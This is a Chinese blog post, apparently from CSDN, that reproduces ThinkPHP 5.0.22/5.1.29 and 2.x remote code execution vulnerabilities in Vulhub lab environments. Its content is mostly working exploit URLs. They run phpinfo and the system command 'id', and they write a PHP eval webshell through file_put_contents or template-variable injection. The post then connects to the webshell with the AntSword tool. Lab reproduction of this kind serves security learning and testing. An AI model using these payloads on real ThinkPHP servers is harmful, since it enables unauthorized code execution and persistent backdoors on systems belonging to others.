Vulhub复现--ThinkPHP框架系列（二）

最新推荐文章于 2024-06-27 11:47:03 发布

tzyyyyyy

最新推荐文章于 2024-06-27 11:47:03 发布

阅读量358

点赞数

分类专栏：漏洞复现文章标签： php 网络安全漏洞复现 web安全 ThinkPHP

本文链接：https://blog.youkuaiyun.com/qq_39291229/article/details/130408550

版权

漏洞复现专栏收录该内容

2 篇文章

订阅专栏

文章详细介绍了ThinkPHP5.0.22和5.1.29版本的远程代码执行漏洞，以及ThinkPHP2.x的任意代码执行问题。通过提供POC（ProofofConcept），展示了如何触发这些漏洞以执行系统命令和写入webshell。同时，提到了使用蚁剑工具进行webshell的连接和控制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

ThinkPHP5 5.0.22/5.1.29远程代码执行漏洞

ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP5 5.0.22/5.1.29远程代码执行漏洞

环境路径：thinkphp/5-rce

启动环境时修改一下docker-compose.yml 将版本由3改为2即可正常启动

根据提示访问8080端口

POC

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

system系统命令

http://192.168.20.158:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写马 a.php

http://192.168.20.158:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=a.php&vars[1][]=%3C?php%20@eval($_POST[a]);%20?%3E

蚁剑连接

拿下webshell

ThinkPHP 2.x 任意代码执行漏洞

环境路径：thinkphp/2-rce

启动环境时修改一下docker-compose.yml 将版本由3改为2即可正常启动

payoad

http://192.168.20.158:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

写马payload

http://192.168.20.158:8080/index.php?s=a/b/c/${@print(eval($_POST[a]))}

蚁剑连接

成功拿下webshell